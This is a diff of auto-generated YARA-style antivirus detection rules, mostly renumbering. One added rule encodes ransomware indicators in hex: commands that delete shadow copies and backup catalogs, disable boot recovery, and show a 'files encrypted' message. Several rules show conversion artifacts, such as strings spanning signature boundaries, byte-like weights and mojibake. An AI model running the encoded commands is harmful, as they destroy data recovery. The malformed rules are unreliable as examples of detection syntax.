78 00 78 00 63 00 68 00 65 00 61 00 74 00 73 00 02 00 2c 46 00 4c 00 45 00 58 00 58 00 5f 00 4c 00 4f 00 } //99 - $a_01_2 = {00 45 00 52 00 2e 00 52 00 65 00 73 00 6f 00 75 00 72 00 63 00 65 00 73 00 02 00 25 24 63 39 37 65 64 35 37 38 2d 65 65 34 64 2d 34 62 61 37 2d 38 65 36 63 2d 37 36 64 30 34 63 37 34 31 61 31 35 00 00 61 } //65 䔀刀⸀刀攀猀漀甀爀挀攀猀Ȁ─挤㜹摥㜵ⴸ敥搴㐭慢ⴷ攸挶㜭搶㐰㝣ㄴㅡ5愀 - condition: - ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*99+(#a_01_2 & 1)*65) >=8 - -} -rule _InfrastructureShared_28408{ +rule _InfrastructureShared_30163{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -370608,7 +393483,7 @@ rule _InfrastructureShared_28408{ ((#a_01_0 & 1)*19491+(#a_01_1 & 1)*11008+(#a_01_3 & 1)*92+(#a_01_4 & 1)*25971+(#a_01_5 & 1)*29301+(#a_01_6 & 1)*29797) >=8 } -rule _InfrastructureShared_28409{ +rule _InfrastructureShared_30164{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,5a 00 45 00 0e 00 21 " @@ -370627,7 +393502,7 @@ rule _InfrastructureShared_28409{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*18437+(#a_01_3 & 1)*20596+(#a_01_4 & 1)*114+(#a_01_6 & 1)*104+(#a_01_8 & 1)*0+(#a_01_10 & 1)*51+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*0) >=69 } -rule _InfrastructureShared_28410{ +rule _InfrastructureShared_30165{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -370639,7 +393514,7 @@ rule _InfrastructureShared_28410{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*111+(#a_01_3 & 1)*110) >=4 } -rule _InfrastructureShared_28411{ +rule _InfrastructureShared_30166{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 05 00 21 " @@ -370652,7 +393527,7 @@ rule _InfrastructureShared_28411{ ((#a_01_0 & 1)*21539+(#a_01_2 & 1)*32+(#a_01_3 & 1)*99+(#a_01_4 & 1)*116) >=7 } -rule _InfrastructureShared_28412{ +rule _InfrastructureShared_30167{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -370664,7 +393539,7 @@ rule _InfrastructureShared_28412{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*32+(#a_01_3 & 1)*25712) >=30 } -rule _InfrastructureShared_28413{ +rule _InfrastructureShared_30168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,32 00 32 00 05 00 21 " @@ -370677,7 +393552,7 @@ rule _InfrastructureShared_28413{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*108+(#a_01_2 & 1)*104+(#a_01_4 & 1)*10) >=50 } -rule _InfrastructureShared_28414{ +rule _InfrastructureShared_30169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -370688,7 +393563,7 @@ rule _InfrastructureShared_28414{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*14112) >=2 } -rule _InfrastructureShared_28415{ +rule _InfrastructureShared_30170{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -370700,7 +393575,7 @@ rule _InfrastructureShared_28415{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*32+(#a_01_2 & 1)*111) >=3 } -rule _InfrastructureShared_28416{ +rule _InfrastructureShared_30171{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -370712,7 +393587,7 @@ rule _InfrastructureShared_28416{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*81+(#a_01_3 & 1)*112) >=4 } -rule _InfrastructureShared_28417{ +rule _InfrastructureShared_30172{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -370726,7 +393601,7 @@ rule _InfrastructureShared_28417{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*23666+(#a_01_2 & 1)*100+(#a_01_3 & 1)*13166+(#a_01_4 & 1)*119) >=4 } -rule _InfrastructureShared_28418{ +rule _InfrastructureShared_30173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -370738,7 +393613,7 @@ rule _InfrastructureShared_28418{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*119+(#a_01_3 & 1)*87) >=4 } -rule _InfrastructureShared_28419{ +rule _InfrastructureShared_30174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 08 00 21 " @@ -370755,7 +393630,7 @@ rule _InfrastructureShared_28419{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*28527+(#a_01_2 & 1)*24933+(#a_01_3 & 1)*1+(#a_01_4 & 1)*4+(#a_01_5 & 1)*4+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=4 } -rule _InfrastructureShared_28420{ +rule _InfrastructureShared_30175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 07 00 21 " @@ -370770,7 +393645,7 @@ rule _InfrastructureShared_28420{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*79+(#a_01_3 & 1)*84+(#a_01_4 & 1)*32+(#a_01_5 & 1)*25380+(#a_01_6 & 1)*51) >=6 } -rule _InfrastructureShared_28421{ +rule _InfrastructureShared_30176{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0e 00 0a 00 0e 00 21 " @@ -370791,7 +393666,7 @@ rule _InfrastructureShared_28421{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*2367+(#a_01_2 & 1)*24912+(#a_01_4 & 1)*19727+(#a_01_5 & 1)*28265+(#a_01_6 & 1)*28005+(#a_01_7 & 1)*21840+(#a_01_8 & 1)*29285+(#a_01_9 & 1)*30063+(#a_01_10 & 1)*24904+(#a_01_11 & 1)*46+(#a_01_13 & 1)*97) >=10 } -rule _InfrastructureShared_28422{ +rule _InfrastructureShared_30177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 06 00 21 " @@ -370805,7 +393680,7 @@ rule _InfrastructureShared_28422{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*18193+(#a_01_3 & 1)*28021+(#a_01_4 & 1)*26723+(#a_01_5 & 1)*25960) >=2 } -rule _InfrastructureShared_28423{ +rule _InfrastructureShared_30178{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 07 00 21 " @@ -370820,7 +393695,7 @@ rule _InfrastructureShared_28423{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*25960+(#a_01_2 & 1)*28279+(#a_01_3 & 1)*28499+(#a_01_4 & 1)*101+(#a_01_6 & 1)*103) >=6 } -rule _InfrastructureShared_28424{ +rule _InfrastructureShared_30179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0f 00 0f 00 03 00 21 " @@ -370832,7 +393707,7 @@ rule _InfrastructureShared_28424{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*100+(#a_01_2 & 1)*108) >=15 } -rule _InfrastructureShared_28425{ +rule _InfrastructureShared_30180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -370846,7 +393721,7 @@ rule _InfrastructureShared_28425{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25714+(#a_01_2 & 1)*28793+(#a_01_3 & 1)*21092+(#a_01_4 & 1)*13360) >=5 } -rule _InfrastructureShared_28426{ +rule _InfrastructureShared_30181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -370862,7 +393737,7 @@ rule _InfrastructureShared_28426{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*14385+(#a_01_2 & 1)*17719+(#a_01_3 & 1)*16944+(#a_01_4 & 1)*13878+(#a_01_5 & 1)*16686+(#a_01_6 & 1)*28265) >=7 } -rule _InfrastructureShared_28427{ +rule _InfrastructureShared_30182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0d 00 21 " @@ -370884,7 +393759,7 @@ rule _InfrastructureShared_28427{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*18222+(#a_01_2 & 1)*26740+(#a_01_3 & 1)*27745+(#a_01_4 & 1)*29296+(#a_01_5 & 1)*29798+(#a_01_6 & 1)*29793+(#a_01_7 & 1)*17219+(#a_01_8 & 1)*29505+(#a_01_9 & 1)*28261+(#a_01_10 & 1)*32+(#a_01_11 & 1)*20852+(#a_01_12 & 1)*24931) >=10 } -rule _InfrastructureShared_28428{ +rule _InfrastructureShared_30183{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,20 00 20 00 0a 00 21 " @@ -370902,7 +393777,7 @@ rule _InfrastructureShared_28428{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*2816+(#a_01_2 & 1)*26223+(#a_01_3 & 1)*55+(#a_01_4 & 1)*17476+(#a_01_5 & 1)*22616+(#a_01_7 & 1)*10+(#a_01_8 & 1)*25441+(#a_01_9 & 1)*29551) >=32 } -rule _InfrastructureShared_28429{ +rule _InfrastructureShared_30184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -370918,7 +393793,7 @@ rule _InfrastructureShared_28429{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*17219+(#a_01_2 & 1)*22616+(#a_01_3 & 1)*25710+(#a_01_4 & 1)*29557+(#a_01_5 & 1)*29774+(#a_01_6 & 1)*18803) >=7 } -rule _InfrastructureShared_28430{ +rule _InfrastructureShared_30185{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0a 00 21 " @@ -370936,7 +393811,7 @@ rule _InfrastructureShared_28430{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*116+(#a_01_2 & 1)*28518+(#a_01_3 & 1)*29811+(#a_01_5 & 1)*54+(#a_01_6 & 1)*49+(#a_01_7 & 1)*56+(#a_01_8 & 1)*4+(#a_01_9 & 1)*19491) >=10 } -rule _InfrastructureShared_28431{ +rule _InfrastructureShared_30186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0a 00 0a 00 0a 00 21 " @@ -370948,24 +393823,37 @@ rule _InfrastructureShared_28431{ $a_01_6 = {00 38 00 32 00 36 00 2d 00 31 00 31 00 39 00 38 00 00 00 61 17 01 00 04 00 04 00 04 00 21 23 4c } //41 $a_01_7 = {69 3a 50 55 41 3a 42 75 6e 64 6c 65 72 43 6c 75 73 74 65 72 3a 4f 75 74 42 72 6f 77 73 65 00 01 00 14 6f 00 70 00 65 00 72 00 61 00 2e 00 68 00 74 00 6d 00 6c 00 01 00 1a 5c 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 2e 00 68 00 74 00 6d 00 6c 00 01 00 18 26 00 6d 00 61 00 63 00 61 00 64 00 64 00 72 00 } //30575 $a_01_8 = {00 73 00 3d 00 01 00 98 2e 3f 61 76 3f 24 69 64 69 73 70 61 74 63 68 69 6d 70 6c 40 75 69 64 6f 63 68 6f 73 74 75 69 68 61 6e 64 6c 65 72 64 69 73 70 61 74 63 68 40 40 24 31 3f 69 69 64 5f 69 64 6f 63 68 6f 73 74 75 69 68 61 6e 64 6c 65 72 64 69 73 70 61 74 63 68 40 40 33 75 5f 67 75 69 64 40 40 62 24 31 3f 6c 69 62 69 64 5f 61 74 6c 6c 69 62 } //101 - $a_01_9 = {75 33 40 62 24 30 30 24 30 61 40 76 63 63 6f 6d 74 79 70 65 69 6e 66 6f 68 6f 6c 64 65 72 40 61 74 6c 40 40 40 61 74 6c 40 40 00 00 61 17 01 00 07 00 07 } //16448 + $a_01_9 = {75 33 40 62 24 30 30 24 30 61 40 76 63 63 6f 6d 74 79 70 65 69 6e 66 6f 68 6f 6c 64 65 72 40 61 74 6c 40 40 40 61 74 6c 40 40 00 00 61 17 01 00 05 00 05 } //16448 condition: ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*14381+(#a_01_2 & 1)*56+(#a_01_4 & 1)*56+(#a_01_6 & 1)*41+(#a_01_7 & 1)*30575+(#a_01_8 & 1)*101+(#a_01_9 & 1)*16448) >=10 } -rule _InfrastructureShared_28432{ +rule _InfrastructureShared_30187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " strings : $a_01_0 = {77 66 69 3a 50 55 41 3a 42 75 6e 64 6c 65 72 43 6c 75 73 74 65 72 3a 4f 75 74 42 72 6f 77 73 65 00 01 00 14 6f 00 70 00 65 00 72 00 61 00 2e 00 68 00 74 00 6d 00 6c 00 01 00 1a 5c 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 2e 00 68 00 74 00 6d 00 6c 00 01 00 18 26 00 6d 00 61 00 63 00 61 00 64 00 64 00 72 00 65 00 73 00 73 00 3d } //19491 $a_01_2 = {61 76 3f 24 69 64 69 73 70 61 74 63 68 69 6d 70 6c 40 75 69 64 6f 63 68 6f 73 74 75 69 68 61 6e 64 6c 65 72 64 69 73 70 61 74 63 68 40 40 24 31 3f 69 69 64 5f 69 64 6f 63 68 6f 73 74 75 69 } //11928 av?$idispatchimpl@uidochostuihandlerdispatch@@$1?iid_idochostui - $a_01_3 = {64 6c 65 72 64 69 73 70 61 74 63 68 40 40 33 75 5f 67 75 69 64 40 40 62 24 31 3f 6c 69 62 69 64 5f 61 74 6c 6c 69 62 40 40 33 75 33 40 62 24 30 30 24 30 61 40 76 63 63 6f 6d 74 79 70 65 69 6e 66 6f 68 6f 6c 64 65 72 40 61 74 6c 40 40 40 61 74 6c 40 40 00 00 61 17 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a } //24936 + $a_01_3 = {64 6c 65 72 64 69 73 70 61 74 63 68 40 40 33 75 5f 67 75 69 64 40 40 62 24 31 3f 6c 69 62 69 64 5f 61 74 6c 6c 69 62 40 40 33 75 33 40 62 24 30 30 24 30 61 40 76 63 63 6f 6d 74 79 70 65 69 6e 66 6f 68 6f 6c 64 65 72 40 61 74 6c 40 40 40 61 74 6c 40 40 00 00 61 17 01 00 05 00 05 00 06 00 21 23 53 4c 46 3a 52 61 6e 73 6f 6d 3a 57 } //24936 condition: ((#a_01_0 & 1)*19491+(#a_01_2 & 1)*11928+(#a_01_3 & 1)*24936) >=4 } -rule _InfrastructureShared_28433{ +rule _InfrastructureShared_30188{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 06 00 21 " + + strings : + $a_01_0 = {46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 46 69 6c 65 43 6f 64 65 72 2e 4d 58 21 4d 54 42 00 01 00 12 64 65 6c 65 74 65 20 73 68 61 64 6f 77 73 20 61 6c 6c 01 00 16 77 6d 69 63 20 73 68 61 64 6f 77 63 6f 70 79 20 64 65 6c 65 } //21283 + $a_01_2 = {73 61 64 6d 69 6e 2e 65 78 65 20 64 65 6c 65 74 65 20 73 68 61 64 6f 77 73 20 2f 61 6c 6c 20 2f 71 75 69 65 74 01 00 21 77 62 61 64 6d 69 6e 2e 65 78 65 20 64 65 6c 65 74 65 20 63 61 74 61 6c 6f 67 20 2d 71 75 69 65 74 01 00 3c 59 00 6f 00 75 00 72 00 20 00 66 00 69 00 6c 00 65 00 73 00 20 00 68 00 61 00 76 00 65 00 20 00 62 00 65 00 65 00 6e } //30247 + $a_01_4 = {00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 01 00 2d 62 63 64 65 64 69 74 2e 65 78 65 20 2f 73 65 74 20 7b 64 65 66 61 75 6c 74 7d 20 72 65 63 6f 76 65 72 79 65 6e 61 62 6c 65 64 20 6e 6f 00 00 61 17 01 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 56 49 33 33 34 } //101 + $a_01_5 = {54 42 00 01 00 0f 52 69 6a 6e 64 61 65 6c 4d 61 6e 61 67 65 64 01 00 10 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 1f 4a 61 72 6f 6b 6e 5f 43 6c 75 62 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 1b } //8501 + condition: + ((#a_01_0 & 1)*21283+(#a_01_2 & 1)*30247+(#a_01_4 & 1)*101+(#a_01_5 & 1)*8501) >=5 + +} +rule _InfrastructureShared_30189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -370980,7 +393868,7 @@ rule _InfrastructureShared_28433{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*17247+(#a_01_3 & 1)*104+(#a_01_4 & 1)*19745+(#a_01_5 & 1)*13363+(#a_01_6 & 1)*24931) >=7 } -rule _InfrastructureShared_28434{ +rule _InfrastructureShared_30190{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,11 00 11 00 11 00 21 " @@ -371006,7 +393894,7 @@ rule _InfrastructureShared_28434{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24408+(#a_01_2 & 1)*13363+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*0+(#a_01_10 & 1)*26222+(#a_01_11 & 1)*23666+(#a_01_12 & 1)*0+(#a_01_13 & 1)*18543+(#a_01_14 & 1)*24933+(#a_01_15 & 1)*26966+(#a_01_16 & 1)*8293) >=17 } -rule _InfrastructureShared_28435{ +rule _InfrastructureShared_30191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -371020,7 +393908,7 @@ rule _InfrastructureShared_28435{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*21332+(#a_01_2 & 1)*8293+(#a_01_3 & 1)*1+(#a_01_4 & 1)*16675) >=5 } -rule _InfrastructureShared_28436{ +rule _InfrastructureShared_30192{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 09 00 21 " @@ -371036,7 +393924,7 @@ rule _InfrastructureShared_28436{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*30068+(#a_01_2 & 1)*27753+(#a_01_3 & 1)*25459+(#a_01_4 & 1)*8293+(#a_01_5 & 1)*28521+(#a_01_8 & 1)*79) >=6 } -rule _InfrastructureShared_28437{ +rule _InfrastructureShared_30193{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -371047,7 +393935,7 @@ rule _InfrastructureShared_28437{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*11891) >=1 } -rule _InfrastructureShared_28438{ +rule _InfrastructureShared_30194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -371058,7 +393946,7 @@ rule _InfrastructureShared_28438{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*102) >=3 } -rule _InfrastructureShared_28439{ +rule _InfrastructureShared_30195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -371073,7 +393961,7 @@ rule _InfrastructureShared_28439{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*16705+(#a_01_2 & 1)*28217+(#a_01_3 & 1)*119+(#a_01_5 & 1)*23570+(#a_01_6 & 1)*22359) >=7 } -rule _InfrastructureShared_28440{ +rule _InfrastructureShared_30196{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,11 00 11 00 10 00 21 " @@ -371096,7 +393984,7 @@ rule _InfrastructureShared_28440{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*23667+(#a_01_2 & 1)*24935+(#a_01_3 & 1)*27506+(#a_01_4 & 1)*108+(#a_01_5 & 1)*8293+(#a_01_6 & 1)*30068+(#a_01_8 & 1)*101+(#a_01_10 & 1)*115+(#a_01_11 & 1)*30765+(#a_01_12 & 1)*8205+(#a_01_13 & 1)*8300+(#a_01_14 & 1)*21544+(#a_01_15 & 1)*29452) >=17 } -rule _InfrastructureShared_28441{ +rule _InfrastructureShared_30197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -371108,7 +393996,7 @@ rule _InfrastructureShared_28441{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*105+(#a_01_3 & 1)*25455) >=30 } -rule _InfrastructureShared_28442{ +rule _InfrastructureShared_30198{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 21 " @@ -371120,7 +394008,7 @@ rule _InfrastructureShared_28442{ ((#a_01_0 & 1)*20515+(#a_01_2 & 1)*107+(#a_01_4 & 1)*112) >=4 } -rule _InfrastructureShared_28443{ +rule _InfrastructureShared_30199{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 08 00 21 " @@ -371137,7 +394025,7 @@ rule _InfrastructureShared_28443{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*8308+(#a_01_2 & 1)*29295+(#a_01_3 & 1)*25697+(#a_01_4 & 1)*25376+(#a_01_5 & 1)*11552+(#a_01_6 & 1)*17198+(#a_01_7 & 1)*8993) >=4 } -rule _InfrastructureShared_28444{ +rule _InfrastructureShared_30200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 09 00 21 " @@ -371153,7 +394041,7 @@ rule _InfrastructureShared_28444{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*11801+(#a_01_3 & 1)*8736+(#a_01_4 & 1)*11886+(#a_01_6 & 1)*101+(#a_01_7 & 1)*97+(#a_01_8 & 1)*66) >=5 } -rule _InfrastructureShared_28445{ +rule _InfrastructureShared_30201{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 05 00 21 " @@ -371166,7 +394054,7 @@ rule _InfrastructureShared_28445{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2+(#a_01_4 & 1)*1) >=6 } -rule _InfrastructureShared_28446{ +rule _InfrastructureShared_30202{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0d 00 0d 00 04 00 21 " @@ -371178,7 +394066,7 @@ rule _InfrastructureShared_28446{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*104+(#a_01_3 & 1)*111) >=13 } -rule _InfrastructureShared_28447{ +rule _InfrastructureShared_30203{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 08 00 21 " @@ -371195,7 +394083,7 @@ rule _InfrastructureShared_28447{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*112+(#a_01_2 & 1)*11569+(#a_01_3 & 1)*26723+(#a_01_4 & 1)*22352+(#a_01_5 & 1)*-15547+(#a_01_6 & 1)*29285+(#a_01_7 & 1)*25966) >=7 } -rule _InfrastructureShared_28448{ +rule _InfrastructureShared_30204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,64 00 64 00 03 00 21 " @@ -371207,7 +394095,7 @@ rule _InfrastructureShared_28448{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*26624+(#a_01_2 & 1)*21331) >=100 } -rule _InfrastructureShared_28449{ +rule _InfrastructureShared_30205{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 05 00 21 " @@ -371221,7 +394109,7 @@ rule _InfrastructureShared_28449{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*25459+(#a_01_2 & 1)*25458+(#a_01_3 & 1)*24434+(#a_01_4 & 1)*30575) >=3 } -rule _InfrastructureShared_28450{ +rule _InfrastructureShared_30206{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0e 00 0e 00 08 00 21 " @@ -371237,7 +394125,7 @@ rule _InfrastructureShared_28450{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*25449+(#a_01_2 & 1)*26990+(#a_01_3 & 1)*19246+(#a_01_4 & 1)*108+(#a_01_5 & 1)*92+(#a_01_7 & 1)*111) >=14 } -rule _InfrastructureShared_28451{ +rule _InfrastructureShared_30207{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -371250,7 +394138,7 @@ rule _InfrastructureShared_28451{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*115+(#a_01_3 & 1)*115+(#a_01_4 & 1)*8993) >=5 } -rule _InfrastructureShared_28452{ +rule _InfrastructureShared_30208{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -371264,7 +394152,7 @@ rule _InfrastructureShared_28452{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_28453{ +rule _InfrastructureShared_30209{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 0a 00 21 " @@ -371281,7 +394169,7 @@ rule _InfrastructureShared_28453{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*15152+(#a_01_2 & 1)*22853+(#a_01_3 & 1)*18531+(#a_01_4 & 1)*9284+(#a_01_5 & 1)*17408+(#a_01_6 & 1)*8302+(#a_01_8 & 1)*77) >=8 } -rule _InfrastructureShared_28454{ +rule _InfrastructureShared_30210{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0e 00 0e 00 06 00 21 " @@ -371294,7 +394182,7 @@ rule _InfrastructureShared_28454{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*-19664+(#a_01_3 & 1)*362+(#a_01_4 & 1)*25974) >=14 } -rule _InfrastructureShared_28455{ +rule _InfrastructureShared_30211{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,14 00 14 00 03 00 21 " @@ -371305,7 +394193,7 @@ rule _InfrastructureShared_28455{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*101) >=20 } -rule _InfrastructureShared_28456{ +rule _InfrastructureShared_30212{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -371316,7 +394204,7 @@ rule _InfrastructureShared_28456{ ((#a_01_0 & 1)*16931+(#a_01_3 & 1)*108) >=30 } -rule _InfrastructureShared_28457{ +rule _InfrastructureShared_30213{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 05 00 21 " @@ -371329,7 +394217,7 @@ rule _InfrastructureShared_28457{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*110+(#a_01_3 & 1)*114+(#a_01_4 & 1)*13824) >=30 } -rule _InfrastructureShared_28458{ +rule _InfrastructureShared_30214{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,28 00 28 00 05 00 21 " @@ -371340,7 +394228,7 @@ rule _InfrastructureShared_28458{ ((#a_01_0 & 1)*16931+(#a_01_2 & 1)*121) >=40 } -rule _InfrastructureShared_28459{ +rule _InfrastructureShared_30215{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 02 00 21 " @@ -371351,7 +394239,7 @@ rule _InfrastructureShared_28459{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*25930) >=1 } -rule _InfrastructureShared_28460{ +rule _InfrastructureShared_30216{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0b 00 0b 00 0b 00 21 " @@ -371369,7 +394257,7 @@ rule _InfrastructureShared_28460{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*30051+(#a_01_2 & 1)*25974+(#a_01_3 & 1)*16687+(#a_01_4 & 1)*25449+(#a_01_5 & 1)*26988+(#a_01_6 & 1)*29779+(#a_01_8 & 1)*100+(#a_01_9 & 1)*111) >=11 } -rule _InfrastructureShared_28461{ +rule _InfrastructureShared_30217{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 07 00 21 " @@ -371384,7 +394272,7 @@ rule _InfrastructureShared_28461{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*8293+(#a_01_2 & 1)*8302+(#a_01_3 & 1)*26977+(#a_01_4 & 1)*111+(#a_01_6 & 1)*117) >=3 } -rule _InfrastructureShared_28462{ +rule _InfrastructureShared_30218{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -371396,7 +394284,7 @@ rule _InfrastructureShared_28462{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*111+(#a_01_4 & 1)*106) >=5 } -rule _InfrastructureShared_28463{ +rule _InfrastructureShared_30219{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 